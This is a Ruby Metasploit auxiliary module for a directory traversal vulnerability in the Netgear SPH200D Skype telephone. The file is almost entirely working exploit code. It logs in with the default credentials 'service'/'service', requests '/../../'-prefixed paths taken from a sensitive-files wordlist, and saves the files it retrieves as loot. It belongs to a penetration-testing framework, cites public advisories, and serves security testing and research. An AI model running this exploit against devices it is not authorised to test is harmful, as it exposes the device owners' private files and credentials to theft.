117 lines
3.4 KiB
Ruby
117 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
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'Description' => %q{
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This module exploits a directory traversal vulnerablity which is present in
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Netgear SPH200D Skype telephone.
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},
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'References' =>
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[
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[ 'BID', '57660' ],
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[ 'EDB', '24441' ],
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[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
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],
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'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
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OptString.new('HttpUsername',[ true, 'User to login with', 'service']),
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OptString.new('HttpPassword',[ true, 'Password to login with', 'service'])
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])
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end
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def extract_words(wordfile)
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return [] unless wordfile && File.readable?(wordfile)
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begin
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words = File.open(wordfile, "rb") do |f|
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f.read
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end
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rescue
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return []
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end
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save_array = words.split(/\r?\n/)
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return save_array
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end
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# traverse every file
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def find_files(file,user,pass)
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traversal = '/../../'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(traversal, file),
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'authorization' => basic_auth(user,pass)
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})
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if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
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print_good("Request may have succeeded on file #{file}")
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report_web_vuln({
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:host => rhost,
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:port => rport,
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:vhost => datastore['VHOST'],
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:path => "/",
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:pname => normalize_uri(traversal, file),
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:risk => 3,
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:proof => normalize_uri(traversal, file),
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:name => self.fullname,
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:category => "web",
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:method => "GET"
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})
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loot = store_loot("lfi.data","text/plain", rhost, res.body, file)
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vprint_good("File #{file} downloaded to: #{loot}")
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elsif res and res.code
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vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")
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end
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end
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def run_host(ip)
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user = datastore['HttpUsername']
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pass = datastore['HttpPassword']
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vprint_status("Trying to login with #{user} / #{pass}")
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# test login
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begin
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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return :abort if res.nil?
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return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
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return :abort if (res.code == 404)
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if [200, 301, 302].include?(res.code)
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vprint_good("Successful login #{user}/#{pass}")
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else
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vprint_error("No successful login possible with #{user}/#{pass}")
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return :abort
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end
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rescue ::Rex::ConnectionError
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vprint_error("Failed to connect to the web server")
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return :abort
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end
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extract_words(datastore['FILELIST']).each do |file|
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find_files(file,user,pass) unless file.empty?
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end
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end
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end
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